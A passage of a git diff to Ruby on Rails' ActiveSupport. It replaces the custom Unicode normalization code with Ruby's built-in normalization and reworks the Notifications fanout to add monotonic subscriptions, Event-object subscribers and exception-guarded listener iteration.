-      # in NORMALIZATION_FORMS.
-      #
-      #   ActiveSupport::Multibyte::Unicode.default_normalization_form = :c
-      attr_accessor :default_normalization_form
-      @default_normalization_form = :kc
-
-      # Hangul character boundaries and properties
-      HANGUL_SBASE = 0xAC00
-      HANGUL_LBASE = 0x1100
-      HANGUL_VBASE = 0x1161
-      HANGUL_TBASE = 0x11A7
-      HANGUL_LCOUNT = 19
-      HANGUL_VCOUNT = 21
-      HANGUL_TCOUNT = 28
-      HANGUL_NCOUNT = HANGUL_VCOUNT * HANGUL_TCOUNT
-      HANGUL_SCOUNT = 11172
-      HANGUL_SLAST = HANGUL_SBASE + HANGUL_SCOUNT
-
-      # Detect whether the codepoint is in a certain character class. Returns
-      # +true+ when it's in the specified character class and +false+ otherwise.
-      # Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
-      # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
-      #
-      # Primarily used by the grapheme cluster support.
-      def in_char_class?(codepoint, classes)
-        classes.detect { |c| database.boundary[c] === codepoint } ? true : false
-      end
-
-      # Unpack the string at grapheme boundaries. Returns a list of character
-      # lists.
-      #
-      #   Unicode.unpack_graphemes('क�षि') # => [[2325, 2381], [2359], [2367]]
-      #   Unicode.unpack_graphemes('Café') # => [[67], [97], [102], [233]]
-      def unpack_graphemes(string)
-        codepoints = string.codepoints.to_a
-        unpacked = []
-        pos = 0
-        marker = 0
-        eoc = codepoints.length
-        while (pos < eoc)
-          pos += 1
-          previous = codepoints[pos - 1]
-          current = codepoints[pos]
-
-          # See http://unicode.org/reports/tr29/#Grapheme_Cluster_Boundary_Rules
-          should_break =
-            if pos == eoc
-              true
-            # GB3. CR X LF
-            elsif previous == database.boundary[:cr] && current == database.boundary[:lf]
-              false
-            # GB4. (Control|CR|LF) ÷
-            elsif previous && in_char_class?(previous, [:control, :cr, :lf])
-              true
-            # GB5. ÷ (Control|CR|LF)
-            elsif in_char_class?(current, [:control, :cr, :lf])
-              true
-            # GB6. L X (L|V|LV|LVT)
-            elsif database.boundary[:l] === previous && in_char_class?(current, [:l, :v, :lv, :lvt])
-              false
-            # GB7. (LV|V) X (V|T)
-            elsif in_char_class?(previous, [:lv, :v]) && in_char_class?(current, [:v, :t])
-              false
-            # GB8. (LVT|T) X (T)
-            elsif in_char_class?(previous, [:lvt, :t]) && database.boundary[:t] === current
-              false
-            # GB9. X (Extend | ZWJ)
-            elsif in_char_class?(current, [:extend, :zwj])
-              false
-            # GB9a. X SpacingMark
-            elsif database.boundary[:spacingmark] === current
-              false
-            # GB9b. Prepend X
-            elsif database.boundary[:prepend] === previous
-              false
-            # GB10. (E_Base | EBG) Extend* X E_Modifier
-            elsif (marker...pos).any? { |i| in_char_class?(codepoints[i], [:e_base, :e_base_gaz]) && codepoints[i + 1...pos].all? { |c| database.boundary[:extend] === c } } && database.boundary[:e_modifier] === current
-              false
-            # GB11. ZWJ X (Glue_After_Zwj | EBG)
-            elsif database.boundary[:zwj] === previous && in_char_class?(current, [:glue_after_zwj, :e_base_gaz])
-              false
-            # GB12. ^ (RI RI)* RI X RI
-            # GB13. [^RI] (RI RI)* RI X RI
-            elsif codepoints[marker..pos].all? { |c| database.boundary[:regional_indicator] === c } && codepoints[marker..pos].count { |c| database.boundary[:regional_indicator] === c }.even?
-              false
-            # GB999. Any ÷ Any
-            else
-              true
-            end
-
-          if should_break
-            unpacked << codepoints[marker..pos - 1]
-            marker = pos
-          end
-        end
-        unpacked
-      end
-
-      # Reverse operation of unpack_graphemes.
-      #
-      #   Unicode.pack_graphemes(Unicode.unpack_graphemes('क�षि')) # => 'क�षि'
-      def pack_graphemes(unpacked)
-        unpacked.flatten.pack("U*")
-      end
-
-      # Re-order codepoints so the string becomes canonical.
-      def reorder_characters(codepoints)
-        length = codepoints.length - 1
-        pos = 0
-        while pos < length do
-          cp1, cp2 = database.codepoints[codepoints[pos]], database.codepoints[codepoints[pos + 1]]
-          if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)
-            codepoints[pos..pos + 1] = cp2.code, cp1.code
-            pos += (pos > 0 ? -1 : 1)
-          else
-            pos += 1
-          end
-        end
-        codepoints
-      end
+      UNICODE_VERSION = RbConfig::CONFIG["UNICODE_VERSION"]
 
       # Decompose composed characters to the decomposed form.
       def decompose(type, codepoints)
-        codepoints.inject([]) do |decomposed, cp|
-          # if it's a hangul syllable starter character
-          if HANGUL_SBASE <= cp && cp < HANGUL_SLAST
-            sindex = cp - HANGUL_SBASE
-            ncp = [] # new codepoints
-            ncp << HANGUL_LBASE + sindex / HANGUL_NCOUNT
-            ncp << HANGUL_VBASE + (sindex % HANGUL_NCOUNT) / HANGUL_TCOUNT
-            tindex = sindex % HANGUL_TCOUNT
-            ncp << (HANGUL_TBASE + tindex) unless tindex == 0
-            decomposed.concat ncp
-          # if the codepoint is decomposable in with the current decomposition type
-          elsif (ncp = database.codepoints[cp].decomp_mapping) && (!database.codepoints[cp].decomp_type || type == :compatibility)
-            decomposed.concat decompose(type, ncp.dup)
-          else
-            decomposed << cp
-          end
+        if type == :compatibility
+          codepoints.pack("U*").unicode_normalize(:nfkd).codepoints
+        else
+          codepoints.pack("U*").unicode_normalize(:nfd).codepoints
         end
       end
 
       # Compose decomposed characters to the composed form.
       def compose(codepoints)
-        pos = 0
-        eoa = codepoints.length - 1
-        starter_pos = 0
-        starter_char = codepoints[0]
-        previous_combining_class = -1
-        while pos < eoa
-          pos += 1
-          lindex = starter_char - HANGUL_LBASE
-          # -- Hangul
-          if 0 <= lindex && lindex < HANGUL_LCOUNT
-            vindex = codepoints[starter_pos + 1] - HANGUL_VBASE rescue vindex = -1
-            if 0 <= vindex && vindex < HANGUL_VCOUNT
-              tindex = codepoints[starter_pos + 2] - HANGUL_TBASE rescue tindex = -1
-              if 0 <= tindex && tindex < HANGUL_TCOUNT
-                j = starter_pos + 2
-                eoa -= 2
-              else
-                tindex = 0
-                j = starter_pos + 1
-                eoa -= 1
-              end
-              codepoints[starter_pos..j] = (lindex * HANGUL_VCOUNT + vindex) * HANGUL_TCOUNT + tindex + HANGUL_SBASE
-            end
-            starter_pos += 1
-            starter_char = codepoints[starter_pos]
-          # -- Other characters
-          else
-            current_char = codepoints[pos]
-            current = database.codepoints[current_char]
-            if current.combining_class > previous_combining_class
-              if ref = database.composition_map[starter_char]
-                composition = ref[current_char]
-              else
-                composition = nil
-              end
-              unless composition.nil?
-                codepoints[starter_pos] = composition
-                starter_char = composition
-                codepoints.delete_at pos
-                eoa -= 1
-                pos -= 1
-                previous_combining_class = -1
-              else
-                previous_combining_class = current.combining_class
-              end
-            else
-              previous_combining_class = current.combining_class
-            end
-            if current.combining_class == 0
-              starter_pos = pos
-              starter_char = codepoints[pos]
-            end
-          end
-        end
-        codepoints
+        codepoints.pack("U*").unicode_normalize(:nfc).codepoints
       end
 
-      # Rubinius' String#scrub, however, doesn't support ASCII-incompatible chars.
-      if !defined?(Rubinius)
-        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
-        # resulting in a valid UTF-8 string.
-        #
-        # Passing +true+ will forcibly tidy all bytes, assuming that the string's
-        # encoding is entirely CP1252 or ISO-8859-1.
-        def tidy_bytes(string, force = false)
-          return string if string.empty?
-          return recode_windows1252_chars(string) if force
-          string.scrub { |bad| recode_windows1252_chars(bad) }
-        end
-      else
-        def tidy_bytes(string, force = false)
-          return string if string.empty?
-          return recode_windows1252_chars(string) if force
-
-          # We can't transcode to the same format, so we choose a nearly-identical encoding.
-          # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
-          # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
-          # before returning.
-          reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
-
-          source = string.dup
-          out = "".force_encoding(Encoding::UTF_16LE)
-
-          loop do
-            reader.primitive_convert(source, out)
-            _, _, _, error_bytes, _ = reader.primitive_errinfo
-            break if error_bytes.nil?
-            out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
-          end
-
-          reader.finish
-
-          out.encode!(Encoding::UTF_8)
-        end
-      end
-
-      # Returns the KC normalization of the string by default. NFKC is
-      # considered the best normalization form for passing strings to databases
-      # and validations.
+      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+      # resulting in a valid UTF-8 string.
       #
-      # * <tt>string</tt> - The string to perform normalization on.
-      # * <tt>form</tt> - The form you want to normalize in. Should be one of
-      #   the following: <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>.
-      #   Default is ActiveSupport::Multibyte::Unicode.default_normalization_form.
-      def normalize(string, form = nil)
-        form ||= @default_normalization_form
-        # See http://www.unicode.org/reports/tr15, Table 1
-        codepoints = string.codepoints.to_a
-        case form
-        when :d
-          reorder_characters(decompose(:canonical, codepoints))
-        when :c
-          compose(reorder_characters(decompose(:canonical, codepoints)))
-        when :kd
-          reorder_characters(decompose(:compatibility, codepoints))
-        when :kc
-          compose(reorder_characters(decompose(:compatibility, codepoints)))
-          else
-          raise ArgumentError, "#{form} is not a valid normalization variant", caller
-        end.pack("U*".freeze)
-      end
-
-      def downcase(string)
-        apply_mapping string, :lowercase_mapping
-      end
-
-      def upcase(string)
-        apply_mapping string, :uppercase_mapping
-      end
-
-      def swapcase(string)
-        apply_mapping string, :swapcase_mapping
-      end
-
-      # Holds data about a codepoint in the Unicode database.
-      class Codepoint
-        attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
-
-        # Initializing Codepoint object with default values
-        def initialize
-          @combining_class = 0
-          @uppercase_mapping = 0
-          @lowercase_mapping = 0
-        end
-
-        def swapcase_mapping
-          uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
-        end
-      end
-
-      # Holds static data from the Unicode database.
-      class UnicodeDatabase
-        ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
-
-        attr_writer(*ATTRIBUTES)
-
-        def initialize
-          @codepoints = Hash.new(Codepoint.new)
-          @composition_exclusion = []
-          @composition_map = {}
-          @boundary = {}
-          @cp1252 = {}
-        end
-
-        # Lazy load the Unicode database so it's only loaded when it's actually used
-        ATTRIBUTES.each do |attr_name|
-          class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-            def #{attr_name}     # def codepoints
-              load               #   load
-              @#{attr_name}      #   @codepoints
-            end                  # end
-          EOS
-        end
-
-        # Loads the Unicode database and returns all the internal objects of
-        # UnicodeDatabase.
-        def load
-          begin
-            @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, "rb") { |f| Marshal.load f.read }
-          rescue => e
-            raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
-          end
-
-          # Redefine the === method so we can write shorter rules for grapheme cluster breaks
-          @boundary.each_key do |k|
-            @boundary[k].instance_eval do
-              def ===(other)
-                detect { |i| i === other } ? true : false
-              end
-            end if @boundary[k].kind_of?(Array)
-          end
-
-          # define attr_reader methods for the instance variables
-          class << self
-            attr_reader(*ATTRIBUTES)
-          end
-        end
-
-        # Returns the directory in which the data files are stored.
-        def self.dirname
-          File.dirname(__FILE__) + "/../values/"
-        end
-
-        # Returns the filename for the data file for this version.
-        def self.filename
-          File.expand_path File.join(dirname, "unicode_tables.dat")
-        end
+      # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+      # encoding is entirely CP1252 or ISO-8859-1.
+      def tidy_bytes(string, force = false)
+        return string if string.empty? || string.ascii_only?
+        return recode_windows1252_chars(string) if force
+        string.scrub { |bad| recode_windows1252_chars(bad) }
       end
 
       private
-
-        def apply_mapping(string, mapping)
-          database.codepoints
-          string.each_codepoint.map do |codepoint|
-            cp = database.codepoints[codepoint]
-            if cp && (ncp = cp.send(mapping)) && ncp > 0
-              ncp
-            else
-              codepoint
-            end
-          end.pack("U*")
-        end
-
         def recode_windows1252_chars(string)
           string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
         end
-
-        def database
-          @database ||= UnicodeDatabase.new
-        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index 2df819e554166..1a54dc245e662 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 require "active_support/notifications/instrumenter"
 require "active_support/notifications/fanout"
-require "active_support/per_thread_registry"
 
 module ActiveSupport
-  # = Notifications
+  # = \Notifications
   #
-  # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for
+  # +ActiveSupport::Notifications+ provides an instrumentation API for
   # Ruby.
   #
   # == Instrumenters
@@ -28,11 +29,32 @@ module ActiveSupport
   # You can consume those events and the information they provide by registering
   # a subscriber.
   #
+  #   ActiveSupport::Notifications.subscribe('render') do |event|
+  #     event.name          # => "render"
+  #     event.duration      # => 10 (in milliseconds)
+  #     event.payload       # => { extra: :information }
+  #     event.allocations   # => 1826 (objects)
+  #   end
+  #
+  # +Event+ objects record CPU time and allocations. If you don't need this
+  # it's also possible to pass a block that accepts five arguments:
+  #
   #   ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
   #     name    # => String, name of the event (such as 'render' from above)
   #     start   # => Time, when the instrumented block started execution
   #     finish  # => Time, when the instrumented block ended execution
-  #     id      # => String, unique ID for this notification
+  #     id      # => String, unique ID for the instrumenter that fired the event
+  #     payload # => Hash, the payload
+  #   end
+  #
+  # Here, the +start+ and +finish+ values represent wall-clock time. If you are
+  # concerned about accuracy, you can register a monotonic subscriber.
+  #
+  #   ActiveSupport::Notifications.monotonic_subscribe('render') do |name, start, finish, id, payload|
+  #     name    # => String, name of the event (such as 'render' from above)
+  #     start   # => Float, monotonic time when the instrumented block started execution
+  #     finish  # => Float, monotonic time when the instrumented block ended execution
+  #     id      # => String, unique ID for the instrumenter that fired the event
   #     payload # => Hash, the payload
   #   end
   #
@@ -40,8 +62,8 @@ module ActiveSupport
   #
   #   events = []
   #
-  #   ActiveSupport::Notifications.subscribe('render') do |*args|
-  #     events << ActiveSupport::Notifications::Event.new(*args)
+  #   ActiveSupport::Notifications.subscribe('render') do |event|
+  #     events << event
   #   end
   #
   # That code returns right away, you are just subscribing to "render" events.
@@ -52,20 +74,21 @@ module ActiveSupport
   #   end
   #
   #   event = events.first
-  #   event.name      # => "render"
-  #   event.duration  # => 10 (in milliseconds)
-  #   event.payload   # => { extra: :information }
-  #
-  # The block in the <tt>subscribe</tt> call gets the name of the event, start
-  # timestamp, end timestamp, a string with a unique identifier for that event
-  # (something like "535801666f04d0298cd6"), and a hash with the payload, in
-  # that order.
+  #   event.name          # => "render"
+  #   event.duration      # => 10 (in milliseconds)
+  #   event.payload       # => { extra: :information }
+  #   event.allocations   # => 1826 (objects)
   #
   # If an exception happens during that particular instrumentation the payload will
   # have a key <tt>:exception</tt> with an array of two elements as value: a string with
   # the name of the exception class, and the exception message.
+  # The <tt>:exception_object</tt> key of the payload will have the exception
+  # itself as the value:
+  #
+  #   event.payload[:exception]         # => ["ArgumentError", "Invalid value"]
+  #   event.payload[:exception_object]  # => #<ArgumentError: Invalid value>
   #
-  # As the previous example depicts, the class <tt>ActiveSupport::Notifications::Event</tt>
+  # As the earlier example depicts, the class ActiveSupport::Notifications::Event
   # is able to take the arguments as they come and provide an object-oriented
   # interface to that data.
   #
@@ -119,7 +142,7 @@ module ActiveSupport
   # You can subscribe to some event temporarily while some block runs. For
   # example, in
   #
-  #   callback = lambda {|*args| ... }
+  #   callback = lambda {|event| ... }
   #   ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
   #     ...
   #   end
@@ -128,11 +151,21 @@ module ActiveSupport
   # during the execution of the block. The callback is unsubscribed automatically
   # after that.
   #
+  # To record +started+ and +finished+ values with monotonic time,
+  # specify the optional <tt>:monotonic</tt> option to the
+  # <tt>subscribed</tt> method. The <tt>:monotonic</tt> option is set
+  # to +false+ by default.
+  #
+  #   callback = lambda {|name, started, finished, unique_id, payload| ... }
+  #   ActiveSupport::Notifications.subscribed(callback, "sql.active_record", monotonic: true) do
+  #     ...
+  #   end
+  #
   # === Manual Unsubscription
   #
   # The +subscribe+ method returns a subscriber object:
   #
-  #   subscriber = ActiveSupport::Notifications.subscribe("render") do |*args|
+  #   subscriber = ActiveSupport::Notifications.subscribe("render") do |event|
   #     ...
   #   end
   #
@@ -146,6 +179,15 @@ module ActiveSupport
   #
   #   ActiveSupport::Notifications.unsubscribe("render")
   #
+  # Subscribers using a regexp or other pattern-matching object will remain subscribed
+  # to all events that match their original pattern, unless those events match a string
+  # passed to +unsubscribe+:
+  #
+  #   subscriber = ActiveSupport::Notifications.subscribe(/render/) { }
+  #   ActiveSupport::Notifications.unsubscribe('render_template.action_view')
+  #   subscriber.matches?('render_template.action_view') # => false
+  #   subscriber.matches?('render_partial.action_view') # => true
+  #
   # == Default Queue
   #
   # Notifications ships with a queue implementation that consumes and publishes events
@@ -159,6 +201,10 @@ def publish(name, *args)
         notifier.publish(name, *args)
       end
 
+      def publish_event(event) # :nodoc:
+        notifier.publish_event(event)
+      end
+
       def instrument(name, payload = {})
         if notifier.listening?(name)
           instrumenter.instrument(name, payload) { yield payload if block_given? }
@@ -167,12 +213,50 @@ def instrument(name, payload = {})
         end
       end
 
-      def subscribe(*args, &block)
-        notifier.subscribe(*args, &block)
+      # Subscribe to a given event name with the passed +block+.
+      #
+      # You can subscribe to events by passing a String to match exact event
+      # names, or by passing a Regexp to match all events that match a pattern.
+      #
+      # If the block passed to the method only takes one argument,
+      # it will yield an +Event+ object to the block:
+      #
+      #   ActiveSupport::Notifications.subscribe(/render/) do |event|
+      #     @event = event
+      #   end
+      #
+      # Otherwise the +block+ will receive five arguments with information
+      # about the event:
+      #
+      #   ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+      #     name    # => String, name of the event (such as 'render' from above)
+      #     start   # => Time, when the instrumented block started execution
+      #     finish  # => Time, when the instrumented block ended execution
+      #     id      # => String, unique ID for the instrumenter that fired the event
+      #     payload # => Hash, the payload
+      #   end
+      #
+      # Raises an error if invalid event name type is passed:
+      #
+      #   ActiveSupport::Notifications.subscribe(:render) {|event| ...}
+      #   #=> ArgumentError (pattern must be specified as a String, Regexp or empty)
+      #
+      def subscribe(pattern = nil, callback = nil, &block)
+        notifier.subscribe(pattern, callback, monotonic: false, &block)
+      end
+
+      # Performs the same functionality as #subscribe, but the +start+ and
+      # +finish+ block arguments are in monotonic time instead of wall-clock
+      # time. Monotonic time will not jump forward or backward (due to NTP or
+      # Daylights Savings). Use +monotonic_subscribe+ when accuracy of time
+      # duration is important. For example, computing elapsed time between
+      # two events.
+      def monotonic_subscribe(pattern = nil, callback = nil, &block)
+        notifier.subscribe(pattern, callback, monotonic: true, &block)
       end
 
-      def subscribed(callback, *args, &block)
-        subscriber = subscribe(*args, &callback)
+      def subscribed(callback, pattern = nil, monotonic: false, &block)
+        subscriber = notifier.subscribe(pattern, callback, monotonic: monotonic)
         yield
       ensure
         unsubscribe(subscriber)
@@ -183,28 +267,13 @@ def unsubscribe(subscriber_or_name)
       end
 
       def instrumenter
-        InstrumentationRegistry.instance.instrumenter_for(notifier)
-      end
-    end
-
-    # This class is a registry which holds all of the +Instrumenter+ objects
-    # in a particular thread local. To access the +Instrumenter+ object for a
-    # particular +notifier+, you can call the following method:
-    #
-    #   InstrumentationRegistry.instrumenter_for(notifier)
-    #
-    # The instrumenters for multiple notifiers are held in a single instance of
-    # this class.
-    class InstrumentationRegistry # :nodoc:
-      extend ActiveSupport::PerThreadRegistry
-
-      def initialize
-        @registry = {}
+        registry[notifier] ||= Instrumenter.new(notifier)
       end
 
-      def instrumenter_for(notifier)
-        @registry[notifier] ||= Instrumenter.new(notifier)
-      end
+      private
+        def registry
+          ActiveSupport::IsolatedExecutionState[:active_support_notifications_registry] ||= {}
+        end
     end
 
     self.notifier = Fanout.new
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index 9da115f552aff..4df967158f385 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -1,65 +1,336 @@
-require "mutex_m"
+# frozen_string_literal: true
+
 require "concurrent/map"
+require "active_support/core_ext/object/try"
 
 module ActiveSupport
   module Notifications
+    class InstrumentationSubscriberError < RuntimeError
+      attr_reader :exceptions
+
+      def initialize(exceptions)
+        @exceptions = exceptions
+        exception_class_names = exceptions.map { |e| e.class.name }
+        super "Exception(s) occurred within instrumentation subscribers: #{exception_class_names.join(', ')}"
+      end
+    end
+
+    module FanoutIteration # :nodoc:
+      private
+        def iterate_guarding_exceptions(collection, &block)
+          case collection.size
+          when 0
+          when 1
+            collection.each(&block)
+          else
+            exceptions = nil
+
+            collection.each do |s|
+              yield s
+            rescue Exception => e
+              exceptions ||= []
+              exceptions << e
+            end
+
+            if exceptions
+              exceptions = exceptions.flat_map do |exception|
+                exception.is_a?(InstrumentationSubscriberError) ? exception.exceptions : [exception]
+              end
+              if exceptions.size == 1
+                raise exceptions.first
+              else
+                raise InstrumentationSubscriberError.new(exceptions), cause: exceptions.first
+              end
+            end
+          end
+
+          collection
+        end
+    end
+
     # This is a default queue implementation that ships with Notifications.
     # It just pushes events to all registered log subscribers.
     #
     # This class is thread safe. All methods are reentrant.
     class Fanout
-      include Mutex_m
-
       def initialize
-        @subscribers = []
-        @listeners_for = Concurrent::Map.new
-        super
+        @mutex = Mutex.new
+        @string_subscribers = Concurrent::Map.new { |h, k| h.compute_if_absent(k) { [] } }
+        @other_subscribers = []
+        @all_listeners_for = Concurrent::Map.new
+        @groups_for = Concurrent::Map.new
+      end
+
+      def inspect # :nodoc:
+        total_patterns = @string_subscribers.size + @other_subscribers.size
+        "#<#{self.class} (#{total_patterns} patterns)>"
       end
 
-      def subscribe(pattern = nil, block = Proc.new)
-        subscriber = Subscribers.new pattern, block
-        synchronize do
-          @subscribers << subscriber
-          @listeners_for.clear
+      def subscribe(pattern = nil, callable = nil, monotonic: false, &block)
+        subscriber = Subscribers.new(pattern, callable || block, monotonic)
+        @mutex.synchronize do
+          case pattern
+          when String
+            @string_subscribers[pattern] << subscriber
+            clear_cache(pattern)
+          when NilClass, Regexp
+            @other_subscribers << subscriber
+            clear_cache
+          else
+            raise ArgumentError,  "pattern must be specified as a String, Regexp or empty"
+          end
         end
         subscriber
       end
 
       def unsubscribe(subscriber_or_name)
-        synchronize do
+        @mutex.synchronize do
           case subscriber_or_name
           when String
-            @subscribers.reject! { |s| s.matches?(subscriber_or_name) }
+            @string_subscribers[subscriber_or_name].clear
+            clear_cache(subscriber_or_name)
+            @other_subscribers.each { |sub| sub.unsubscribe!(subscriber_or_name) }
           else
-            @subscribers.delete(subscriber_or_name)
+            pattern = subscriber_or_name.try(:pattern)
+            if String === pattern
+              @string_subscribers[pattern].delete(subscriber_or_name)
+              clear_cache(pattern)
+            else
+              @other_subscribers.delete(subscriber_or_name)
+              clear_cache
+            end
+          end
+        end
+      end
+
+      def clear_cache(key = nil) # :nodoc:
+        if key
+          @all_listeners_for.delete(key)
+          @groups_for.delete(key)
+        else
+          @all_listeners_for.clear
+          @groups_for.clear
+        end
+      end
+
+      class BaseGroup # :nodoc:
+        include FanoutIteration
+
+        def initialize(listeners, name, id, payload)
+          @listeners = listeners
+        end
+
+        def each(&block)
+          iterate_guarding_exceptions(@listeners, &block)
+        end
+      end
+
+      class BaseTimeGroup < BaseGroup # :nodoc:
+        def start(name, id, payload)
+          @start_time = now
+        end
+
+        def finish(name, id, payload)
+          stop_time = now
+          each do |listener|
+            listener.call(name, @start_time, stop_time, id, payload)
+          end
+        end
+      end
+
+      class MonotonicTimedGroup < BaseTimeGroup # :nodoc:
+        private
+          def now
+            Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          end
+      end
+
+      class TimedGroup < BaseTimeGroup # :nodoc:
+        private
+          def now
+            Time.now
+          end
+      end
+
+      class EventedGroup < BaseGroup # :nodoc:
+        def start(name, id, payload)
+          each do |s|
+            s.start(name, id, payload)
+          end
+        end
+
+        def finish(name, id, payload)
+          each do |s|
+            s.finish(name, id, payload)
+          end
+        end
+      end
+
+      class EventObjectGroup < BaseGroup # :nodoc:
+        def start(name, id, payload)
+          @event = build_event(name, id, payload)
+          @event.start!
+        end
+
+        def finish(name, id, payload)
+          @event.payload = payload
+          @event.finish!
+
+          each do |s|
+            s.call(@event)
+          end
+        end
+
+        private
+          def build_event(name, id, payload)
+            ActiveSupport::Notifications::Event.new name, nil, nil, id, payload
+          end
+      end
+
+      def group_listeners(listeners) # :nodoc:
+        listeners.group_by(&:group_class).transform_values do |s|
+          s.map(&:delegate).freeze
+        end.freeze
+      end
+
+      def groups_for(name) # :nodoc:
+        silenceable_groups, groups = @groups_for.compute_if_absent(name) do
+          listeners = all_listeners_for(name)
+          listeners.partition(&:silenceable).map { |l| group_listeners(l) }
+        end
+
+        unless silenceable_groups.empty?
+          silenceable_groups.each do |group_class, subscriptions|
+            active_subscriptions = subscriptions.reject { |s| s.silenced?(name) }
+            unless active_subscriptions.empty?
+              groups = groups.dup if groups.frozen?
+              base_groups = groups[group_class]
+              groups[group_class] = base_groups ? base_groups + active_subscriptions : active_subscriptions
+            end
+          end
+        end
+
+        groups
+      end
+
+      # A +Handle+ is used to record the start and finish time of event.
+      #
+      # Both #start and #finish must each be called exactly once.
+      #
+      # Where possible, it's best to use the block form: ActiveSupport::Notifications.instrument.
+      # +Handle+ is a low-level API intended for cases where the block form can't be used.
+      #
+      #   handle = ActiveSupport::Notifications.instrumenter.build_handle("my.event", {})
+      #   begin
+      #     handle.start
+      #     # work to be instrumented
+      #   ensure
+      #     handle.finish
+      #   end
+      class Handle
+        include FanoutIteration
+
+        def initialize(notifier, name, id, groups, payload) # :nodoc:
+          @name = name
+          @id = id
+          @payload = payload
+          @groups = groups
+          @state = :initialized
+        end
+
+        def start
+          ensure_state! :initialized
+          @state = :started
+
+          iterate_guarding_exceptions(@groups) do |group|
+            group.start(@name, @id, @payload)
           end
+        end
+
+        def finish
+          finish_with_values(@name, @id, @payload)
+        end
+
+        def finish_with_values(name, id, payload) # :nodoc:
+          ensure_state! :started
+          @state = :finished
 
-          @listeners_for.clear
+          iterate_guarding_exceptions(@groups) do |group|
+            group.finish(name, id, payload)
+          end
+        end
+
+        private
+          def ensure_state!(expected)
+            if @state != expected
+              raise ArgumentError, "expected state to be #{expected.inspect} but was #{@state.inspect}"
+            end
+          end
+      end
+
+      module NullHandle # :nodoc:
+        extend self
+
+        def start
+        end
+
+        def finish
+        end
+
+        def finish_with_values(_name, _id, _payload)
+        end
+      end
+
+      include FanoutIteration
+
+      def build_handle(name, id, payload)
+        groups = groups_for(name).map do |group_klass, grouped_listeners|
+          group_klass.new(grouped_listeners, name, id, payload)
+        end
+
+        if groups.empty?
+          NullHandle
+        else
+          Handle.new(self, name, id, groups, payload)
         end
       end
 
       def start(name, id, payload)
-        listeners_for(name).each { |s| s.start(name, id, payload) }
+        handle_stack = (IsolatedExecutionState[:_fanout_handle_stack] ||= [])
+        handle = build_handle(name, id, payload)
+        handle_stack << handle
+        handle.start
       end
 
-      def finish(name, id, payload, listeners = listeners_for(name))
-        listeners.each { |s| s.finish(name, id, payload) }
+      def finish(name, id, payload, listeners = nil)
+        handle_stack = IsolatedExecutionState[:_fanout_handle_stack]
+        handle = handle_stack.pop
+        handle.finish_with_values(name, id, payload)
       end
 
-      def publish(name, *args)
-        listeners_for(name).each { |s| s.publish(name, *args) }
+      def publish(name, ...)
+        iterate_guarding_exceptions(listeners_for(name)) { |s| s.publish(name, ...) }
       end
 
-      def listeners_for(name)
+      def publish_event(event)
+        iterate_guarding_exceptions(listeners_for(event.name)) { |s| s.publish_event(event) }
+      end
+
+      def all_listeners_for(name)
         # this is correctly done double-checked locking (Concurrent::Map's lookups have volatile semantics)
-        @listeners_for[name] || synchronize do
+        @all_listeners_for[name] || @mutex.synchronize do
           # use synchronisation when accessing @subscribers
-          @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
+          @all_listeners_for[name] ||=
+            @string_subscribers[name] + @other_subscribers.select { |s| s.subscribed_to?(name) }
         end
       end
 
+      def listeners_for(name)
+        all_listeners_for(name).reject { |s| s.silenced?(name) }
+      end
+
       def listening?(name)
-        listeners_for(name).any?
+        all_listeners_for(name).any? { |s| !s.silenced?(name) }
       end
 
       # This is a sync queue, so there is no waiting.
@@ -67,89 +338,128 @@ def wait
       end
 
       module Subscribers # :nodoc:
-        def self.new(pattern, listener)
+        def self.new(pattern, listener, monotonic)
+          subscriber_class = monotonic ? MonotonicTimed : Timed
+
           if listener.respond_to?(:start) && listener.respond_to?(:finish)
-            subscriber = Evented.new pattern, listener
+            subscriber_class = Evented
           else
-            subscriber = Timed.new pattern, listener
+            # Doing this to detect a single argument block or callable
+            # like `proc { |x| }` vs `proc { |*x| }`, `proc { |**x| }`,
+            # or `proc { |x, **y| }`
+            procish = listener.respond_to?(:parameters) ? listener : listener.method(:call)
+
+            if procish.arity == 1 && procish.parameters.length == 1
+              subscriber_class = EventObject
+            end
           end
 
-          unless pattern
-            AllMessages.new(subscriber)
-          else
-            subscriber
+          subscriber_class.new(pattern, listener)
+        end
+
+        class Matcher # :nodoc:
+          attr_reader :pattern, :exclusions
+
+          def self.wrap(pattern)
+            if String === pattern
+              pattern
+            elsif pattern.nil?
+              AllMessages.new
+            else
+              new(pattern)
+            end
+          end
+
+          def initialize(pattern)
+            @pattern = pattern
